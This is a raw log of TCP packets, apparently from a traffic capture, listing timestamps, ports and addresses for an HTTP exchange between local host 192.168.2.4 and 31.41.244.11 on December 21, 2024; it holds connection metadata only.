Dec 21, 2024 18:16:37.028264999 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.028269053 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.028312922 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.029069901 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.029119015 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.029181957 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.029222965 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.030174017 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.030224085 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.030271053 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.030316114 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.031344891 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.031388044 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.031452894 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.031500101 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.032505989 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.032566071 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.032613039 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.032659054 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.033690929 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.033744097 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.033808947 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.033854008 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.034888983 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.034934044 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.035013914 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.035073996 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.036088943 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.036147118 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.036338091 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.036386967 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.037283897 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.037329912 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.037395000 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.037441015 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.038436890 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.038487911 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.038609982 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.038660049 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.039706945 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.039760113 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.039845943 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.039895058 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.040889978 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.040926933 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.040992022 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.041032076 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.041965008 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.042012930 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.042098999 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.042149067 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.043138027 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.043179989 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.043328047 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.043375015 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.044977903 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.045015097 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.045032978 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.045085907 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.045751095 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.045788050 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.045800924 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.045830965 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.046681881 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.046729088 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.046817064 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.046869993 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.047991991 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.048043013 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.048116922 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.048163891 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.049185038 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.049232960 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.049375057 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.049432039 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.050226927 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.050283909 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.050364971 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.050422907 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.051409006 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.051456928 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.051525116 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.051573992 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.052597046 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.052638054 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.052709103 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.052752972 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.053774118 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.053822041 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.053889990 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.053934097 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.054915905 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.054979086 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.055152893 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.055201054 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.056175947 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.056224108 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.056298018 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.056348085 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.057316065 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.057365894 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.057416916 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.057471991 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.058465958 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.058515072 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.058545113 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.058603048 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.059650898 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.059703112 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.059770107 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.059818983 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.060914993 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.060966969 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.061146975 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.061197996 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.062108994 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.062160969 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.062203884 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.062251091 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.063157082 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.063205004 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.063270092 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.063327074 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.064374924 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.064439058 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.064523935 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.064572096 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.065552950 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.065603018 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.065607071 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.065651894 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.066766977 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.066816092 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.066834927 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.066880941 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.068013906 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.068063021 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.068214893 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.068262100 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.069346905 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.069402933 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.069459915 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.069508076 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.070696115 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.070745945 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.070823908 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.070872068 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.071683884 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.071718931 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.071731091 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.071758032 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.072617054 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.072664976 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.072722912 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.072768927 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.073791027 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.073839903 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.073901892 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.073950052 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.074973106 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.075032949 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.075110912 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.075158119 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.076090097 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.076138020 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.206772089 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.206826925 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.206954002 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.207259893 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.207328081 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.207415104 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.207465887 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.208353043 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.208409071 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.208450079 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.208498955 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.209332943 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.209394932 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.209479094 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.209538937 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.210567951 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.210624933 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.210627079 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.210675955 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.211901903 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.211936951 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.211961985 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.211992025 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.213336945 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.213399887 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.213464022 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.213515043 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.214373112 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.214428902 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.214432955 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.214478970 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.215437889 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.215502977 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.215538025 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.215593100 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.216681004 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.216739893 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.216775894 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.216829062 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.217658043 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.217713118 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.217794895 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.217845917 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.218741894 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.218803883 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.218884945 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.218935013 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.220074892 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.220132113 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.220190048 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.220241070 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.221402884 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.221457005 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.221457958 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.221509933 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.222583055 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.222651958 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.222654104 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.222703934 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.223540068 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.223598957 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.223671913 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.223722935 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.224848986 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.224900961 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.225056887 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.225116968 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.225884914 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.225955009 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.226028919 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.226078033 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.227143049 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.227202892 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.227372885 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.227426052 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.228315115 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.228370905 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.228427887 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.228478909 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.229747057 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.229801893 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.229882002 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.229933977 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.230964899 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.231021881 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.231136084 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.231185913 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.231808901 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.231859922 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.232291937 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.232342005 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.232989073 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.233088017 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.233089924 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.233139038 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.234185934 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.234236956 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.234354973 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.234404087 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.235490084 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.235539913 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.235626936 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.235676050 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.236707926 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.236759901 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.236825943 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.236870050 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.237910986 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.237962008 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.237967014 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.238014936 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.239000082 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.239054918 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.239100933 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.239149094 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.240115881 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.240189075 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.240236998 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.240286112 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.241333008 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.241385937 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.241424084 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.241471052 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.242436886 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.242491961 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.242547989 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.242597103 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.243582964 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.243680954 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.243683100 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.243730068 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.244749069 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.244797945 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.244878054 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.244926929 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.246344090 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.246397972 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.246400118 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.246444941 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.247088909 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.247138977 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.247184992 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.247231007 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.248249054 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.248297930 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.248306990 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.248353958 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.249428988 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.249483109 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.249537945 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.249587059 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.250683069 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.250732899 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.250735998 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.250780106 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.251931906 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.251981974 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.252099037 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.252146959 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.253078938 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.253128052 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.253191948 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.253241062 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.254314899 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.254388094 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.254391909 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.254439116 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.255417109 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.255479097 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.255700111 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.255748987 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.256623983 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.256675959 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.256755114 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.256805897 CET	49826	80	192.168.2.4	31.41.244.11
